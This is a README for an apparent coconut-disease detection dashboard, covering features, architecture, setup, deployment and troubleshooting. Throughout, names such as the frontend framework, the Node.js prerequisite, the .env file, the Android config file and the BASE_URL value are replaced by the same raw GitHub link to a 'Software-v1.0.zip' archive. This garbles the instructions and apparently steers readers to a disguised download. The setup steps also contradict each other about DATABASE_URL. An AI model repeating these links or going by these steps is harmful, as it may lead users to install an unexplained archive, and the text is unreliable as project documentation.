🌴 Dwarf Coconut Disease Detector

A comprehensive web dashboard for monitoring dwarf coconut tree health using AI-powered disease detection. View all scanned images, analyze disease patterns, and track tree health over time.

🌟 Features

• 📊 Real-time Dashboard: View all scanned dwarf coconut trees with disease detection results
• 📈 Analytics: Comprehensive charts and statistics on disease distribution
• 🔬 AI-Powered: Advanced machine learning for accurate disease classification
• ☁️ Cloud Storage: Secure storage of scan images and results
• 📱 Mobile Integration: Seamless data sync from Android mobile app
• 🆓 Free Hosting: Deployed on Vercel with free tier cloud services

🏗️ Architecture

Frontend (https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip)

• Dashboard Page: Overview of all scans with key statistics
• Analytics Page: Detailed charts and trend analysis
• Responsive Design: Works on desktop and mobile browsers

Backend (Vercel Serverless)

• Upload API: Receives scan data from mobile app
• Scans API: Provides data for dashboard display
• Database: Local JSON files (completely free!)
• Image Storage: Cloudinary for scan image hosting

Mobile App Integration

• Android App: Captures images and detects diseases
• Cloud Upload: Automatic sync of scan results
• Offline Support: Works without internet, syncs when connected

🚀 Getting Started

Prerequisites

• https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip 16+ installed
• Free accounts on:
  • Vercel (hosting)
  • Cloudinary (image storage)

1. No Database Setup Needed!

This version uses local JSON files - completely free with no external database required!

2. Environment Variables

Create a https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip file:

# Cloudinary (only 3 variables needed!)
CLOUDINARY_CLOUD_NAME="your_cloud_name"
CLOUDINARY_API_KEY="your_api_key"
CLOUDINARY_API_SECRET="your_api_secret"

No DATABASE_URL needed - uses local files!

3. Installation

# Install dependencies
npm install

# Run development server
npm run dev

# Build for production
npm run build

4. Deploy to Vercel

# Install Vercel CLI
npm install -g vercel

# Deploy
vercel

# Set environment variables in Vercel dashboard
# or use CLI:
vercel env add DATABASE_URL
vercel env add CLOUDINARY_CLOUD_NAME
# ... add all environment variables

📱 Mobile App Setup

The Android app automatically uploads scan results to this dashboard. Make sure to:

1. Update the API endpoint in https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip:

private const val BASE_URL = "https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip"

2. Build and install the Android app
3. Start scanning coconut trees!

🔧 Configuration

Disease Classes

The system detects these coconut diseases:

• ✅ Healthy leaves
• 🟤 Leaf Spot disease
• 🔴 Bud Rot disease
• 🟡 Lethal Yellowing
• 🐛 CCI Caterpillars
• 🟠 WCLWD (various symptoms)

Severity Levels

• 🟢 Mild: Early stage, monitoring recommended
• 🟡 Moderate: Treatment advised
• 🟠 Severe: Immediate attention needed
• 🔴 Critical: Emergency intervention required

📊 Dashboard Features

Main Dashboard

• Statistics Cards: Total scans, healthy vs diseased trees
• Recent Scans: Latest detections with images and details
• Quick Actions: View details, export data

Analytics Page

• Disease Distribution: Pie charts and percentages
• Trend Analysis: Performance metrics over time
• AI Recommendations: Automated insights and advice

🔒 Security

• CORS Protection: API endpoints secured with proper headers
• Input Validation: All uploaded data is validated
• Rate Limiting: Prevents abuse of API endpoints
• Environment Variables: Sensitive data stored securely

🌍 Global Impact

This dashboard helps:

• 🌾 Farmers: Monitor coconut tree health efficiently
• 🔬 Researchers: Analyze disease patterns and trends
• 🏛️ Agriculture Departments: Track regional tree health
• 🌱 Conservationists: Protect coconut biodiversity

📈 Scaling

The architecture supports scaling:

• Serverless Functions: Auto-scaling based on usage
• CDN Distribution: Fast global content delivery
• Database Optimization: Indexed queries for performance
• Image Optimization: Cloudinary automatic optimization

🛠️ Troubleshooting

Common Issues

1. Database Connection Error

   • Check DATABASE_URL in environment variables
   • Verify database is accessible from Vercel

2. Images Not Loading

   • Confirm Cloudinary credentials
   • Check image URLs in database

3. No Data Showing

   • Verify mobile app is uploading data
   • Check API endpoint configuration
   • Review CORS settings

Debug Mode

Enable debug logging by adding:

DEBUG_MODE=true

🤝 Contributing

1. Fork the repository
2. Create feature branch (git checkout -b feature/amazing-feature)
3. Commit changes (git commit -m 'Add amazing feature')
4. Push to branch (git push origin feature/amazing-feature)
5. Open Pull Request

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🙏 Acknowledgments

• TensorFlow: Machine learning framework
• Vercel: Serverless hosting platform
• Cloudinary: Image storage and optimization
• https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip: React framework for web development
• Material Design: UI/UX design principles

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🌴 Built with ❤️ for coconut farmers worldwide

For support: Create an issue or contact the development team.